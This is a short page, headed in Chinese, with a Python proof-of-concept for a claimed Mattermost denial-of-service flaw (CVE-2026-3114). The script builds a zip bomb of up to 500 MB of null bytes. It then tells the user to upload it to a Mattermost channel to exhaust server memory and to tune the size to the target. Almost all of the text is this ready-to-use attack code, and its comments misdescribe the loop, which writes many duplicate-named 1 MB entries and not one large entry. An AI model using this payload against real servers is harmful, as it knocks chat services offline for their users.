CVE-2026-3114 Mattermost拒绝服务漏洞

import zipfile import io # PoC for CVE-2026-3114: Mattermost Zip Bomb DoS # This script generates a zip file containing a highly compressed entry. # When uploaded to a vulnerable Mattermost instance, it will attempt to decompress # the massive content, exhausting server memory. def create_zip_bomb(filename, uncompressed_size_mb=100): # Create a buffer to hold the zip file in memory zip_buffer = io.BytesIO() try: with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Create a file with repeating bytes that compresses very well # e.g., 100MB of null bytes compresses to a few KB print(f"Generating bomb payload: {uncompressed_size_mb}MB...") payload = b'\x00' * (1024 * 1024) # 1MB chunk # Write the chunk multiple times to the zip entry for _ in range(uncompressed_size_mb): zf.writestr("bomb_payload.txt", payload) # Write the buffer to a file with open(filename, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"Successfully created '{filename}'.") print("Upload this file to a Mattermost channel to trigger the DoS.") except Exception as e: print(f"Error creating zip bomb: {e}") if __name__ == "__main__": # Adjust the size (in MB) as needed to target available memory create_zip_bomb("cve_2026_3114_poc.zip", uncompressed_size_mb=500)